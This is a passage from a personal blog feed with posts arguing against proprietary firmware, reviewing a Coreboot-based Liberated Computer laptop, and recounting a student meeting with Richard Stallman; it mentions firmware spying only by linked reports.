<p>Let&rsquo;s suppose you are able to boot and install a <a href="https://ravidwivedi.in/posts/free-sw">free software</a> operating system, like any GNU/Linux based Operating System and you did not install any nonfree software. You might be tempted to say that you are running only free software but you might still be running proprietary firmware. For example, Ubuntu comes pre-installed with nonfree firmware. Depending upon your laptop, you might need to install nonfree firmware in addition to the operating system for some hardware to work properly.</p>
<h3 id="problems-with-proprietary-firmware">Problems with proprietary firmware</h3>
<p>The problem with propietary firmware is the same as any <a href="https://ravidwivedi.in/posts/free-sw">propietary software</a>&ndash; users do not control it and we cannot trust it. It does not give users the freedom and therefore users do not have a defence against any of the bugs or intentional malfunctionalities being introduced in the system.</p>
<p><a href="https://web.archive.org/web/20150315054919/http://markshuttleworth.com/archives/1332">Quoting Mark Shuttleworth</a>, the founder of Canonical which develops and maintains Ubuntu,</p>
<blockquote>
<p>If you read the catalogue of spy tools and digital weaponry provided to us by Edward Snowden, you’ll see that firmware on your device is the NSA’s best friend.</p>
</blockquote>
<p>Following are some known examples of insecurity issues due to bugs or adding intentional malfunctionalities at firmware level:</p>
<ul>
<li>
<p>A researcher broke into Apple&rsquo;s firmware and caused the <a href="https://arstechnica.com/gadgets/2011/07/how-charlie-miller-discovered-the-apple-battery-hackhow-a-security-researcher-discovered-the-apple-battery-hack/">battery to overcharge</a></p>
</li>
<li>
<p>NSA adds <a href="https://www.wired.com/2015/02/nsa-firmware-hacking/">spyware into firmware of many devices</a>.</p>
</li>
<li>
<p>Wikileaks <a href="https://wikileaks.org/vault7/#Dark%20Matter">revealed that several CIA projects infect Apple Mac firmware</a> (meaning the infection persists even if the operating system is re-installed). Basically, EFI/UEFI is essentially a backdoor for taking control of a computer without user&rsquo;s knowledge. Further, the attacks described in the leaks are very widespread.</p>
</li>
<li>
<p>A vulnerability in the EFI/UEFI firmware is used by CIA <a href="https://wikileaks.org/ciav7p1/cms/page_31227915.html">to write to NVRAM or persistent storage of the computer</a> without the users knowing about it. It cannot be detected easily by the users and it can survive a complete OS reinstall.</p>
</li>
<li>
<p>CIA documents leaked by the Wikileaks note that the UEFI level exploits can compromise the whole system. The ExitBootServices Hooking page notes, &ldquo;<a href="https://wikileaks.org/ciav7p1/cms/page_36896783.html">At this point, you can do whatever you want.</a>&rdquo;</p>
</li>
</ul>
<p>Keep in mind that if a backdoor is installed at the firmware level, it can gain full access to your computer. Such a control of the system means that the applications running on your machine are also fully compromised.</p>
<h3 id="importance-of-free-firmware">Importance of free firmware</h3>
<p>In the previous section, we explored that the issue of firmware being propietary and hence, not controlled by the user, is not a light issue at all. It is a very serious issue and the well-known exploits in these firmware can make you a prey to NSA or any third-party spying without you even knowing.</p>
<p>The firmware should be free software as any software so that the users have freedom to detect and fix bugs, remove any backdoors put into the firmware, and other problems that can arise with proprietary firmware. For this, the manufacturers need to publish key technical specifications sufficient to write free firmware for their hardware. Even if you are running proprietary firmware and ditch Windows or MacOS or any proprietary operating system to switch to a free software operating system, like GNU/Linux, I welcome your move as one more step towards freedom.</p>
<p>A very important example of a firmware is <a href="https://en.wikipedia.org/wiki/BIOS">BIOS</a>, which starts your computer when you power it on. <a href="http://www.libreboot.org/">Libreboot</a> and <a href="https://www.coreboot.org/">Coreboot</a> are free software BIOS.</p>
<p><a href="https://ravidwivedi.in/posts/liberated-computer">Liberated Computer</a> (the laptop I use) runs on Coreboot and the only nonfree software it has is the Intel ME blob which is disabled.That means it runs purely free software.</p>
<p>The following devices have only free firmware installed at the time of shipping:</p>
<ul>
<li>
<p><a href="https://redmine.replicant.us/projects/replicant/wiki#Supported-devices">Devices which can run Replicant OS</a> (Note: You might have to use external hardware/dongles for WiFi, Bluetooth to work)</p>
</li>
<li>
<p><a href="https://libreboot.org/suppliers.html">Devices that have Libreboot support</a></p>
</li>
<li>
<p><a href="https://ryf.fsf.org/categories/laptops">Devices which are RYF certified by FSF</a></p>
</li>
</ul>
<p>Unfortunately, proprietary firmware is not even considered a problem by many people who care about software freedom. Perhaps there is a lack of awareness of the issue. If that is the case, then hopefully I have now made you aware of the issues with proprietary firmware.</p>
<p>(Credits: Thanks to <a href="https://social.masto.host/@praveen">Pirate Praveen</a> for proofreading the article and correcting some factual errors.)</p>
<h3 id="for-further-reading">For further reading:</h3>
<ul>
<li><a href="https://wiki.debian.org/Firmware">Debian wiki</a>.</li>
</ul>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Liberated Computer Review]]></title>
            <link>https://ravidwivedi.in/posts/liberated-computer/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/liberated-computer/</guid>
            <pubDate>Sun, 05 Sep 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[Update: Added some pictures on 29-April-2022.
What is Liberated Computer
Liberated Computer is a computer sold by LibreTech Shop based in Bangalore, India, which can run exclusively on free software (which means it respects user’s freedom and not that it is free-of-cost) and does not ship with any proprietary software installed. Liberated Computers are basically old and refurbished Lenovo’s Thinkpad laptops, modified in several ways so that they can run purely free software (check the section “How is an LC230 assembled?” in LC 230 docs). In addition, it respects user’s hardware freedom as well– you can do whatever you wish to do with the hardware, with no locks or constraints imposed by the manufacturer.
The computer is liberated by replacing the BIOS which won’t let a chip run which is not in its allow list. Further, the Intel ME backdoor has been disabled.
It has Coreboot whose code is 100% free software. The x230 BIOS contains the Intel management engine - which is then neutered using me_cleaner. That is a blob (A blob means a device driver whose source code is not published, only the binary is published; blobs are nonfree software) but that blob is inactive during the course of normal working of the operating system. There is no other blob in Liberated Computer. I will explain why free firmware matters in the next post. This makes Liberated Computer run on 100% free software.
Here is a screenshot of a tweet by Leah Rowe, the founder of Libreboot project, on Lenovo x230(Remember that Liberated Computer is just refurbished Lenovo’s x230) and Coreboot.

Why I bought Liberated Computer
I bought a Liberated Computer and the reason is simple: the attitude that freedom comes first and features are secondary. Free Software provides users the freedom to run, study, modify, improve, share the software. If the software lacks any of these freedoms, it is called nonfree/proprietary software.
I think free software is necessary for:
privacy and security of users, though it might not be sufficient;
learning and doing things ourselves;
having a defence against the mistreatment by proprietary software.
There are many other reasons to use free software.
I also think that the freedoms provided by free software are every user’s rights. I am not of the opinion that we use any software that works, but the software should respect user’s freedom. Naturally, I would like to run only free software and eliminate all the nonfree software from my life.
My Purchase
I used to have Apple’s Macbook which is a very locked system and you don’t own it even after purchasing it. After I got convinced that software freedom is important, I tried to use only free software and avoid proprietary software as much as possible. However, a lot of free software for my use was not available for Macbook. And I doubt if Macbook can run without any proprietary software. Therefore, I was looking for a computer which can run exclusively on free software, without requiring any proprietary software. I knew that Librem laptops can run purely free software and they satisfied my requirement. I didn’t know about any Indian vendors selling such a laptop. One day, I asked in the FSCI matrix room whether there are Indian shops selling such a laptop. I came to know about Libretech Shop based in Bangalore which sells free software powered laptops and calls them ‘Liberated Computer’. A few months later, I decided to buy a LC 230.
I ordered LC 230 using the Mostly Harmless website, with 16 GB RAM, 480 GB SSD, and a new 6-cell battery.
Item Description
Amount (INR)




Base Price
₹ 27,000.00


RAM (16 GB)
₹ 3,500.00


SSD (480 GB)
₹ 2,500.00


New Battery (6-cell Battery)
₹ 3,500.00


Subtotal
₹ 36,500.00


Shipping (Flat Rate)
₹ 1,200.00


GST
₹ 6,786.00


Total
₹ 44,486.00



I placed my order on a Saturday. Abhas shipped it to me, three days later, on Tuesday via DTDC priority shipping and I received the laptop on Thursday.
My experience with LC 230
The laptop had KDE Neon pre-installed but Abhas (the owner of the shop where I purchased Liberated Computer) suggested me to re-install any OS of my choice on my own. I re-installed KDE Neon using a bootable USB. I explored KDE Neon and liked it. I found it user-friendly and got comfortable in a few hours.
Then I booted PureOS, Ubuntu, Kubuntu, Manjaro KDE, Solus Budgie etc. Finally, I settled on Debian 11 KDE and I am using it as my main OS right now.
The new battery lasts around 5 hours from full charged state to zero.
The low speaker volume is somewhat offputting. Instead of a backlit keyboard, it has a Thinklight which flashes light on the keyboard to work in the dark.
It has hardware kill switches for microphone, audio and wireless connections. It has a webcam too.
Switched to GNU/Linux
Finally, I switched to GNU/Linux. The GNU/Linux operating systems are free software and are fully under user’s control and this is exactly my reason for the switch. Nonfree software macOS and Windows are full of trackers. Debian, on the other hand, does not have any trackers or spywares. It respects my freedom and privacy.
Happy Hacking!
Pictures
Following are some pictures of Liberated Computer taken by me. All of them are released under CC-BY-SA license.

Liberated Computer running official ISO(which has free firmware) of Debian GNU/Linux with Mate desktop.




 Liberated Computer running PureOS.




 Liberated Computer running PureOS.




 Liberated Computer running PureOS.




 Liberated Computer running Coreboot.




 Liberated Computer keypad and touchpad.




Tails OS running in Liberated Computer.




Fedora 35 live USB running in Liberated Computer.




Ubuntu 20.04.3 LTS live USB running in Liberated Computer.




Ubuntu Desktop in Liberated Computer.




Manjaro KDE 21.2.1 running on Liberated Computer.




Trisquel 10 desktop in Liberated Computer.




Manjaro running in Liberated Computer.




Trisquel 10.0 running in Liberated Computer.]]></description>
            <content:encoded><![CDATA[<p>Update: Added some pictures on 29-April-2022.</p>
<h3 id="what-is-liberated-computer">What is Liberated Computer</h3>
<p><a href="https://liberated.computer">Liberated Computer</a> is a computer sold by <a href="https://libretech.shop">LibreTech Shop</a> based in Bangalore, India, which can run exclusively on <a href="https://ravidwivedi.in/posts/free-sw/">free software</a> (which means it respects user&rsquo;s freedom and not that it is free-of-cost) and does not ship with any proprietary software installed. Liberated Computers are basically old and refurbished Lenovo&rsquo;s Thinkpad laptops, modified in several ways so that they can run purely free software (check the section &ldquo;How is an LC230 assembled?&rdquo; in <a href="https://docs.libretech.shop/lc230/">LC 230 docs</a>). In addition, it respects user&rsquo;s hardware freedom as well&ndash; you can do whatever you wish to do with the hardware, with no locks or constraints imposed by the manufacturer.</p>
<p>The computer is liberated by replacing the BIOS which won&rsquo;t let a chip run which is not in its allow list. Further, the <a href="https://www.fsf.org/blogs/sysadmin/the-management-engine-an-attack-on-computer-users-freedom">Intel ME backdoor</a> has been disabled.</p>
<p>It has Coreboot whose code is 100% free software. The x230 BIOS contains the Intel management engine - which is then neutered using me_cleaner. That is a blob (A blob means a device driver whose source code is not published, only the binary is published; blobs are nonfree software) but that blob is inactive during the course of normal working of the operating system. There is no other blob in Liberated Computer. I will explain why free firmware matters in the next post. This makes Liberated Computer run on 100% free software.</p>
<p>Here is a screenshot of a tweet by Leah Rowe, the founder of Libreboot project, on Lenovo x230(Remember that Liberated Computer is just refurbished Lenovo&rsquo;s x230) and Coreboot.</p>
<p><img src="https://ravidwivedi.in/images/leah-rowe.png" alt="Tweet by Leah Rowe" title="Tweet by Leah Rowe on x230 capable of running 100% free software"></p>
<h3 id="why-i-bought-liberated-computer">Why I bought Liberated Computer</h3>
<p>I bought a Liberated Computer and the reason is simple: the attitude that freedom comes first and features are secondary. Free Software provides users the freedom to run, study, modify, improve, share the software. If the software lacks any of these freedoms, it is called nonfree/proprietary software.</p>
<p>I think free software is necessary for:</p>
<ul>
<li>
<p>privacy and security of users, though it might not be sufficient;</p>
</li>
<li>
<p>learning and doing things ourselves;</p>
</li>
<li>
<p>having a defence against the mistreatment by <a href="https://gnu.org/malware">proprietary software</a>.</p>
</li>
</ul>
<p>There are many other reasons to use free software.</p>
<p>I also think that the freedoms provided by free software are every user&rsquo;s rights. I am not of the opinion that we use any software that works, but the software should respect user&rsquo;s freedom. Naturally, I would like to run only free software and eliminate all the nonfree software from my life.</p>
<h3 id="my-purchase">My Purchase</h3>
<p>I used to have Apple&rsquo;s Macbook which is a very locked system and <a href="https://sneak.berlin/20201112/your-computer-isnt-yours/">you don&rsquo;t own it even after purchasing it</a>. After I got convinced that software freedom is important, I tried to use only free software and avoid proprietary software as much as possible. However, a lot of free software for my use was not available for Macbook. And I doubt if Macbook can run without any proprietary software. Therefore, I was looking for a computer which can run exclusively on free software, without requiring any proprietary software. I knew that Librem laptops can run purely free software and they satisfied my requirement. I didn&rsquo;t know about any Indian vendors selling such a laptop. One day, I asked in the FSCI matrix room whether there are Indian shops selling such a laptop. I came to know about <a href="http://libretech.shop/">Libretech Shop</a> based in Bangalore which sells free software powered laptops and calls them &lsquo;<a href="https://liberated.computer/">Liberated Computer</a>&rsquo;. A few months later, I decided to buy a <a href="https://libretech.shop/product/lc230/">LC 230</a>.</p>
<p>I ordered LC 230 using the <a href="https://mostlyharmless.io">Mostly Harmless website</a>, with 16 GB RAM, 480 GB SSD, and a new 6-cell battery.</p>
<table>
<thead>
<tr>
<th>Item Description</th>
<th>Amount (INR)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Base Price</td>
<td>₹ 27,000.00</td>
</tr>
<tr>
<td>RAM (16 GB)</td>
<td>₹ 3,500.00</td>
</tr>
<tr>
<td>SSD (480 GB)</td>
<td>₹ 2,500.00</td>
</tr>
<tr>
<td>New Battery (6-cell Battery)</td>
<td>₹ 3,500.00</td>
</tr>
<tr>
<td><strong>Subtotal</strong></td>
<td><strong>₹ 36,500.00</strong></td>
</tr>
<tr>
<td>Shipping (Flat Rate)</td>
<td>₹ 1,200.00</td>
</tr>
<tr>
<td>GST</td>
<td>₹ 6,786.00</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td><strong>₹ 44,486.00</strong></td>
</tr>
</tbody>
</table>
<p>I placed my order on a Saturday. Abhas shipped it to me, three days later, on Tuesday via DTDC priority shipping and I received the laptop on Thursday.</p>
<h3 id="my-experience-with-lc-230">My experience with LC 230</h3>
<p>The laptop had KDE Neon pre-installed but Abhas (the owner of the shop where I purchased Liberated Computer) suggested me to re-install any OS of my choice on my own. I re-installed KDE Neon using a bootable USB. I explored KDE Neon and liked it. I found it user-friendly and got comfortable in a few hours.</p>
<p>Then I booted PureOS, Ubuntu, Kubuntu, Manjaro KDE, Solus Budgie etc. Finally, I settled on Debian 11 KDE and I am using it as my main OS right now.</p>
<p>The new battery lasts around 5 hours from full charged state to zero.</p>
<p>The low speaker volume is somewhat offputting. Instead of a backlit keyboard, it has a <a href="https://en.wikipedia.org/wiki/ThinkLight">Thinklight</a> which flashes light on the keyboard to work in the dark.</p>
<p>It has hardware kill switches for microphone, audio and wireless connections. It has a webcam too.</p>
<h3 id="switched-to-gnulinux">Switched to GNU/Linux</h3>
<p>Finally, I switched to GNU/Linux. The GNU/Linux operating systems are free software and are fully under user&rsquo;s control and this is exactly my reason for the switch. Nonfree software <a href="https://sneak.berlin/20201112/your-computer-isnt-yours/">macOS</a> and <a href="https://privacytools.io/operating-systems/#win10">Windows</a> are full of trackers. Debian, on the other hand, does not have any trackers or spywares. It respects my freedom and privacy.</p>
<p>Happy Hacking!</p>
<h3 id="pictures">Pictures</h3>
<p>Following are some pictures of Liberated Computer taken by me. All of them are released under CC-BY-SA license.</p>
<figure>
<a title="Ravi Dwivedi, CC BY-SA 4.0 &lt;https://creativecommons.org/licenses/by-sa/4.0&gt;, via Wikimedia Commons" href="https://commons.wikimedia.org/wiki/File:Official_iso_of_Debian_Bullseye_with_Mate_desktop.jpg"><img width="512" alt="Official iso of Debian Bullseye with Mate desktop" src="https://upload.wikimedia.org/wikipedia/commons/thumb/c/c5/Official_iso_of_Debian_Bullseye_with_Mate_desktop.jpg/512px-Official_iso_of_Debian_Bullseye_with_Mate_desktop.jpg"></a>
<figcaption>Liberated Computer running official ISO(which has free firmware) of <a href="https://debian.org">Debian GNU/Linux</a> with Mate desktop.</figcaption>
</figure>
<br>
<figure>
<a title="Ravi Dwivedi, CC BY-SA 4.0 &lt;https://creativecommons.org/licenses/by-sa/4.0&gt;, via Wikimedia Commons" href="https://commons.wikimedia.org/wiki/File:Liberated_Computer_running_PureOS_3.jpg"><img width="512" alt="Liberated Computer running PureOS 3" src="https://upload.wikimedia.org/wikipedia/commons/thumb/1/13/Liberated_Computer_running_PureOS_3.jpg/512px-Liberated_Computer_running_PureOS_3.jpg"></a>
<figcaption> Liberated Computer running <a href="https://pureos.net">PureOS</a>.</figcaption>
</figure>
<br>
<figure>
<a title="Ravi Dwivedi, CC BY-SA 4.0 &lt;https://creativecommons.org/licenses/by-sa/4.0&gt;, via Wikimedia Commons" href="https://commons.wikimedia.org/wiki/File:Liberated_Computer.jpg"><img width="512" alt="Liberated Computer" src="https://upload.wikimedia.org/wikipedia/commons/thumb/9/97/Liberated_Computer.jpg/512px-Liberated_Computer.jpg"></a>
<figcaption> Liberated Computer running <a href="https://pureos.net">PureOS</a>.</figcaption>
</figure>
<br>
<figure>
<a title="Ravi Dwivedi, CC BY-SA 4.0 &lt;https://creativecommons.org/licenses/by-sa/4.0&gt;, via Wikimedia Commons" href="https://commons.wikimedia.org/wiki/File:Liberated_Computer_running_PureOS_2.jpg"><img width="512" alt="Liberated Computer running PureOS 2" src="https://upload.wikimedia.org/wikipedia/commons/thumb/4/4a/Liberated_Computer_running_PureOS_2.jpg/512px-Liberated_Computer_running_PureOS_2.jpg"></a>
<figcaption> Liberated Computer running <a href="https://pureos.net">PureOS</a>.</figcaption>
</figure>
<br>
<figure>
<a title="Ravi Dwivedi, CC BY-SA 4.0 &lt;https://creativecommons.org/licenses/by-sa/4.0&gt;, via Wikimedia Commons" href="https://commons.wikimedia.org/wiki/File:Liberated_Computer_running_Coreboot.jpg"><img width="512" alt="Liberated Computer running Coreboot" src="https://upload.wikimedia.org/wikipedia/commons/thumb/d/d5/Liberated_Computer_running_Coreboot.jpg/512px-Liberated_Computer_running_Coreboot.jpg"></a>
<figcaption> Liberated Computer running Coreboot.</figcaption>
</figure>
<br>
<figure>
<a title="Ravi Dwivedi, CC BY-SA 4.0 &lt;https://creativecommons.org/licenses/by-sa/4.0&gt;, via Wikimedia Commons" href="https://commons.wikimedia.org/wiki/File:Liberated_Computer_keyboard_and_touchpad.jpg"><img width="512" alt="Liberated Computer keyboard and touchpad" src="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Liberated_Computer_keyboard_and_touchpad.jpg/512px-Liberated_Computer_keyboard_and_touchpad.jpg"></a>
<figcaption> Liberated Computer keypad and touchpad.</figcaption>
</figure>
<br>
<figure>
<a title="Ravi Dwivedi, CC BY-SA 4.0 &lt;https://creativecommons.org/licenses/by-sa/4.0&gt;, via Wikimedia Commons" href="https://commons.wikimedia.org/wiki/File:Tails_OS_running_in_Liberated_Computer.jpg"><img width="512" alt="Tails OS running in Liberated Computer" src="https://upload.wikimedia.org/wikipedia/commons/thumb/d/d7/Tails_OS_running_in_Liberated_Computer.jpg/512px-Tails_OS_running_in_Liberated_Computer.jpg"></a>
<figcaption>Tails OS running in Liberated Computer.</figcaption>
</figure>
<br>
<figure>
<a title="Ravi Dwivedi, CC BY-SA 4.0 &lt;https://creativecommons.org/licenses/by-sa/4.0&gt;, via Wikimedia Commons" href="https://commons.wikimedia.org/wiki/File:Fedora_35_live_USB_running_in_Liberated_Computer.jpg"><img width="512" alt="Fedora 35 live USB running in Liberated Computer" src="https://upload.wikimedia.org/wikipedia/commons/thumb/c/ca/Fedora_35_live_USB_running_in_Liberated_Computer.jpg/512px-Fedora_35_live_USB_running_in_Liberated_Computer.jpg"></a>
<figcaption>Fedora 35 live USB running in Liberated Computer.</figcaption>
</figure>
<br>
<figure>
<a title="Ravi Dwivedi, CC BY-SA 4.0 &lt;https://creativecommons.org/licenses/by-sa/4.0&gt;, via Wikimedia Commons" href="https://commons.wikimedia.org/wiki/File:Ubuntu_live_USB_running_in_Liberated_Computer.jpg"><img width="512" alt="Ubuntu live USB running in Liberated Computer" src="https://upload.wikimedia.org/wikipedia/commons/thumb/c/c7/Ubuntu_live_USB_running_in_Liberated_Computer.jpg/512px-Ubuntu_live_USB_running_in_Liberated_Computer.jpg"></a>
<figcaption>Ubuntu 20.04.3 LTS live USB running in Liberated Computer.</figcaption>
</figure>
<br>
<figure>
<a title="Ravi Dwivedi, CC BY-SA 4.0 &lt;https://creativecommons.org/licenses/by-sa/4.0&gt;, via Wikimedia Commons" href="https://commons.wikimedia.org/wiki/File:Ubuntu_running_in_Liberated_Computer.jpg"><img width="512" alt="Ubuntu running in Liberated Computer" src="https://upload.wikimedia.org/wikipedia/commons/thumb/a/aa/Ubuntu_running_in_Liberated_Computer.jpg/512px-Ubuntu_running_in_Liberated_Computer.jpg"></a>
<figcaption>Ubuntu Desktop in Liberated Computer.</figcaption>
</figure>
<br>
<figure>
<a title="Ravi Dwivedi, CC BY-SA 4.0 &lt;https://creativecommons.org/licenses/by-sa/4.0&gt;, via Wikimedia Commons" href="https://commons.wikimedia.org/wiki/File:Manjaro_KDE_21.2.1_running_on_Liberated_Computer.jpg"><img width="512" alt="Manjaro KDE 21.2.1 running on Liberated Computer" src="https://upload.wikimedia.org/wikipedia/commons/thumb/c/ce/Manjaro_KDE_21.2.1_running_on_Liberated_Computer.jpg/512px-Manjaro_KDE_21.2.1_running_on_Liberated_Computer.jpg"></a>
<figcaption>Manjaro KDE 21.2.1 running on Liberated Computer.</figcaption>
</figure>
<br>
<figure>
<a title="Ravi Dwivedi, CC BY-SA 4.0 &lt;https://creativecommons.org/licenses/by-sa/4.0&gt;, via Wikimedia Commons" href="https://commons.wikimedia.org/wiki/File:Trisquel_10_running_in_Liberated_Computer.jpg"><img width="512" alt="Trisquel 10 running in Liberated Computer" src="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Trisquel_10_running_in_Liberated_Computer.jpg/512px-Trisquel_10_running_in_Liberated_Computer.jpg"></a>
<figcaption>Trisquel 10 desktop in Liberated Computer.</figcaption>
</figure>
<br>
<figure>
<a title="Ravi Dwivedi, CC BY-SA 4.0 &lt;https://creativecommons.org/licenses/by-sa/4.0&gt;, via Wikimedia Commons" href="https://commons.wikimedia.org/wiki/File:Manjaro_running_in_Liberated_Computer.jpg"><img width="512" alt="Manjaro running in Liberated Computer" src="https://upload.wikimedia.org/wikipedia/commons/thumb/8/80/Manjaro_running_in_Liberated_Computer.jpg/512px-Manjaro_running_in_Liberated_Computer.jpg"></a>
<figcaption>Manjaro running in Liberated Computer.</figcaption>
</figure>
<br>
<figure>
<a title="Ravi Dwivedi, CC BY-SA 4.0 &lt;https://creativecommons.org/licenses/by-sa/4.0&gt;, via Wikimedia Commons" href="https://commons.wikimedia.org/wiki/File:Trisquel_10.0_running_in_Lenovo_Thinkpad_x230.jpg"><img width="512" alt="Trisquel 10.0 running in Lenovo Thinkpad x230" src="https://upload.wikimedia.org/wikipedia/commons/thumb/7/76/Trisquel_10.0_running_in_Lenovo_Thinkpad_x230.jpg/512px-Trisquel_10.0_running_in_Lenovo_Thinkpad_x230.jpg"></a>
<figcaption>Trisquel 10.0 running in Liberated Computer.</figcaption>
</figure>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[My Meeting with Richard Stallman]]></title>
            <link>https://ravidwivedi.in/posts/meeting-rms/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/meeting-rms/</guid>
            <pubDate>Sat, 31 Jul 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[I am writing about a meeting which happened more than 5 years before writing this article. This is the best recreation from memory I came up with.
At the time this happened, I was a student at Acharya Narendra Dev College (also known as “ANDC” in short), New Delhi. On the 1st of March 2016, the principal of my college, Dr. Savithri Singh, was addressing all the students in a common hall (for some reason I don’t remember). During the address, she told us that the founder of Linux was visiting our college that day. She invited interested students to meet him to her office at 4 PM. I was sitting with my friend, Shivam Rai who was excited for the meeting. I am from mathematics background and hardly knew anything about Linux. I had heard the word “Linux” and knew that it is a kernel of some operating system. So, I wasn’t very entusiastic.
Around 4 PM, I was a bit tired and wanted to go back to my room to take a nap. I was not completely sure about the point of the meeting. Furthermore, I thought they discuss programming or coding like mathematicians discuss theorems and proofs. I almost forgot about it. However, my friend reminded me of the meeting, so I joined him.
We went to the principal office and after waiting for some time, the visitor arrived along with a person from Kerala. My friend and I shook hands with the visitor, and he said, “Hi, my name is Richard Stallman”. We also introduced ourselves. The person from Kerala also introduced himself but unfortunately, I forgot his name. Immediately, Richard Stallman asked us a question in a joking manner, “If I were to start a company in India, what should I name it?”. We were silent. Then he said, “Mahadeva” followed by a big laughter.
It turned out that, even though the principal invited the whole college to meet Richard Stallman, only two of us actually went to meet him. Next, since the principal said that he is a founder of Linux, we started the discussion something along the lines of “You are the founder of Linux?” Listening to this, he got angry and said, “You should ask that question from Linus Torvalds.” I was confused at this point, and so was my friend.
Then we asked, “What do you work for?”. He responded, “I work for GNU.” I asked, “What’s that?” He said, “GNU’s not Unix.” I got very confused at this point as I didn’t know what’s GNU, what’s Unix, and we already pissed him off by associating him with Linux.
Then, he said, “I work for free software.” This added to my confusion as I thought why would someone work for free-of-cost software. Then he explained what is free software, “Free Software is software that gives users four freedoms.
Freedom 0 is the freedom to run the software as you wish.
Freedom 1 is the freedom to study and modify the program. You need to have the source code of the program to exercise this freedom.
Freedom 2 is the freedom to share the program.
Freedom 3 is the freedom to share your modified versions.
The ‘free’ does not mean free of cost. It means freedom. Think of it like free speech and not free beer.”
At that point, I only knew that a lot of programs do not have freedom 1. I didn’t know that a lot of software do not give users the freedom to share or run. So naturally, I didn’t understand why he has to emphasize these freedoms and why they are important. Also, I used to think every software have freedoms 0,2,3. I remember having a (wrong) notion  that the freedom to study and modify the source code is for the programmers only.
Then, he said, “Any software which does not give users these four freedoms is called a nonfree/proprietary software. A proprietary software is under developer’s control, and you are at the mercy of the developer. A free software is controlled by its users. I use only free software and reject all proprietary software and, you should do it too.”
His voice was quite passionate when he was telling us those things. Further, he told us that Microsoft Windows is an example of a proprietary software and mentioned that a backdoor was found in Windows in the past. I didn’t know what backdoor means and I don’t remember if he told us that.
He had hearing problems, so we had to be loud while interacting with him. My friend then asked about Apple’s software. Something like “Is Apple’s software secure?” Stallman replied something related to Apple’s locking of user and Apple’s software being nonfree. Bu I forgot a lot of at he said.
I remember that he also said that Google services are surveillance systems, and he does not use them. He insisted that we should also refuse to use them. I remember him mentioning that NSA spies on Americans as well as other countries’ citizens using Google services like Gmail, Google Maps. Poor me, I didn’t know what is NSA.
He also mentioned that Google Maps does not load if he disables the Javascript code sent by the site. Earlier, it used to load without Javascript. He kind of implied that sites should load without Javascript. And he probably gave a few more examples when disabling Javascript does not load the website. At that time, I didn’t understand why would someone disable Javascript when visiting a website.
Then, our principal reminded us to take photos with Richard Stallman. Stallman agreed with the condition that we never upload his photo on Facebook, Instagram or WhatsApp, because that company is a surveillance engine, and we should not feed it. We agreed with the condition and clicked photos with him.
My photo with RMS

Richard Stallman was then treated with Dal Vada from our college canteen, and he really liked that.
This meeting planted a few questions in my mind about the software I was using. At that time, I didn’t have adequate political understanding to get his point. I also found it a bit sad that the person is known for “Linux” and “Open Source”, even though he despises those labels.]]></description>
            <content:encoded><![CDATA[<p>I am writing about a meeting which happened more than 5 years before writing this article. This is the best recreation from memory I came up with.</p>
<p>At the time this happened, I was a student at Acharya Narendra Dev College (also known as &ldquo;ANDC&rdquo; in short), New Delhi. On the 1st of March 2016, the principal of my college, Dr. Savithri Singh, was addressing all the students in a common hall (for some reason I don&rsquo;t remember). During the address, she told us that the founder of Linux was visiting our college that day. She invited interested students to meet him to her office at 4 PM. I was sitting with my friend, Shivam Rai who was excited for the meeting. I am from mathematics background and hardly knew anything about Linux. I had heard the word &ldquo;Linux&rdquo; and knew that it is a kernel of some operating system. So, I wasn&rsquo;t very entusiastic.</p>
<p>Around 4 PM, I was a bit tired and wanted to go back to my room to take a nap. I was not completely sure about the point of the meeting. Furthermore, I thought they discuss programming or coding like mathematicians discuss theorems and proofs. I almost forgot about it. However, my friend reminded me of the meeting, so I joined him.</p>
<p>We went to the principal office and after waiting for some time, the visitor arrived along with a person from Kerala. My friend and I shook hands with the visitor, and he said, &ldquo;Hi, my name is Richard Stallman&rdquo;. We also introduced ourselves. The person from Kerala also introduced himself but unfortunately, I forgot his name. Immediately, Richard Stallman asked us a question in a joking manner, &ldquo;If I were to start a company in India, what should I name it?&rdquo;. We were silent. Then he said, &ldquo;Mahadeva&rdquo; followed by a big laughter.
It turned out that, even though the principal invited the whole college to meet Richard Stallman, only two of us actually went to meet him. Next, since the principal said that he is a founder of Linux, we started the discussion something along the lines of &ldquo;You are the founder of Linux?&rdquo; Listening to this, he got angry and said, &ldquo;You should ask that question from Linus Torvalds.&rdquo; I was confused at this point, and so was my friend.</p>
<p>Then we asked, &ldquo;What do you work for?&rdquo;. He responded, &ldquo;I work for GNU.&rdquo; I asked, &ldquo;What&rsquo;s that?&rdquo; He said, &ldquo;GNU&rsquo;s not Unix.&rdquo; I got very confused at this point as I didn&rsquo;t know what&rsquo;s GNU, what&rsquo;s Unix, and we already pissed him off by associating him with Linux.</p>
<p>Then, he said, &ldquo;I work for free software.&rdquo; This added to my confusion as I thought why would someone work for free-of-cost software. Then he explained what is free software, &ldquo;Free Software is software that gives users four freedoms.</p>
<p>Freedom 0 is the freedom to run the software as you wish.</p>
<p>Freedom 1 is the freedom to study and modify the program. You need to have the source code of the program to exercise this freedom.</p>
<p>Freedom 2 is the freedom to share the program.</p>
<p>Freedom 3 is the freedom to share your modified versions.</p>
<p>The &lsquo;free&rsquo; does not mean free of cost. It means freedom. Think of it like free speech and not free beer.&rdquo;</p>
<p>At that point, I only knew that a lot of programs do not have freedom 1. I didn&rsquo;t know that a lot of software do not give users the freedom to share or run. So naturally, I didn&rsquo;t understand why he has to emphasize these freedoms and why they are important. Also, I used to think every software have freedoms 0,2,3. I remember having a (wrong) notion  that the freedom to study and modify the source code is for the programmers only.</p>
<p>Then, he said, &ldquo;Any software which does not give users these four freedoms is called a nonfree/proprietary software. A proprietary software is under developer&rsquo;s control, and you are at the mercy of the developer. A free software is controlled by its users. I use only free software and reject all proprietary software and, you should do it too.&rdquo;</p>
